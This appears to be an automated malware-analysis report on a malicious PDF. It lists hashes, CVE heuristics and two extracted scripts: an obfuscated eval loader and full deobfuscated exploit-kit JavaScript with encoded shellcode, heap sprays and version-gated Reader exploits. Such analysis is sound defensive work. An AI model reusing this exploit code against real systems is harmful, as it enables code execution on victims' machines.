Malicious PDF — malware analysis report

Static analysis result for SHA-256 f0ce1915f49fa89b…

MALICIOUS

PDF

79.0 KB Authoring application: ring.fromChar First seen: 2026-05-09
MD5: d92bc01484fced8576d676b083cad025 SHA-1: 548ac6b96777eb00f32091c6ab559dc20f605793 SHA-256: f0ce1915f49fa89b9dd83355c2321b1d7eb16d69f3c36f0776edabf9bb8aa552
408 Risk Score

Malware Insights

The PDF file contains embedded JavaScript, indicated by heuristic firings for PDF_JAVASCRIPT and PDF_JS. The ML classifier strongly flags this PDF as malicious. The embedded JavaScript is likely intended to perform malicious actions upon opening the document, such as downloading a second-stage payload or exploiting vulnerabilities. No specific family could be identified.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x139A9 391 bytes
SHA-256: 3ca53affea3e6183e2947ccbf332af5e0a821643cc0fe6c511981b09896b0774
Preview script
First 1,000 lines of the extracted script
var l = 'qweqwe'.substr;
var g = l();
t='le';
a=["a","e","k","l","b","z","v"];
e=g[a[1]+a[6]+a[0]+a[3]];
var gop="";
zdxp='his';
tmih='tit';
e('fgpj=t'+zdxp+"."+tmih+t);
t='cer'
gmc='rodu';
e('ldi=t'+zdxp+".p"+gmc+t);
kxpxa=e('St'+ldi+'Code');
rjfk = e(fgpj);
e('k=rjfk.length');
for (i = 0; i < k; i+=2) {
	vazcx = rjfk[i] + rjfk[i+1];
	gop += kxpxa(vazcx);
}
e(gop);
legacy_pdfkit_stage_000.js deobfuscated-js metadata Title array pair-sum decoded JavaScript at offset 0x52 3654 bytes
SHA-256: a271b11be3c7b947d350a47d24f1ec736ceeb854067c7ab3aac5915e9b43c914
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u3db9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%ua234%ue2aa%uc3fa%ue5e8%uffff%u4bff%ua3ae%ua2a2%u23fc%ufe4e%ua2a3%u2ba2%u2f45%ub2ed%ucd2f%u93f6%uf579%uf1f3%uf1f1%uf1f1%uf1f1%uf1f7%ucaf1%ua3a6%ua2a2%uf4f7%ucaf1%ucccd%ua2a2%ud7ca%uced0%uf6cf%u2cca%uacec%u4a4e%ua2ea%ua2a2%u4af2%ua2de%ua2a2%u725d%u6621%ucaaa%u4ded%ua7ed%u4af2%ua2ce%ua2a2%u725d%u6227%ub5d7%uf6c8%u51fb%uca08%u5cd0%ub411%ubf4a%ua2a2%uf2a2%uf34a%ua2a2%u5da2%uf172%u5cc8%u2bca%ua3cd%u4a1f%ua2aa%ua2a2%u4af2%ua29e%ua2a2%u725d%u93c2%uc662%uf229%u2992%uaef0%uf029%u29b6%u8ad0%uba1b%ua2a2%u93a2%u935d%u0e62%uc39e%ua0de%u828e%u6d63%ua3af%u4065%u2352%uf95d%ue81e%u29c8%ub2e0%ub029%u7bd7%ue62b%ube86%u61c3%u29c2%u86ce%u2986%u9ee7%uf629%udaa7%u48a3%ue829%u29ba%u82f8%u49a3%u9641%u29eb%u2996%u4ca3%u5d93%u6293%u0e5e%u6226%ua5d6%u6d63%ua3af%u4965%u9956%u86de%ud78a%u2943%u86f8%u49a3%u29c4%ue9ae%uf829%ua3be%u2949%u29a6%u4aa3%ue62b%ube86%u60c3%ua2aa%u4d4a%u5d5c%uca5d%ud6d6%u98d2%u8d8d%ucfd1%ud0c3%u90d6%uc1da%uc3ca%uc5cc%u8cc7%ud7d0%uc98d%ud28c%ud2ca%uc49d%u909f%u8490%u9fc7%ua297';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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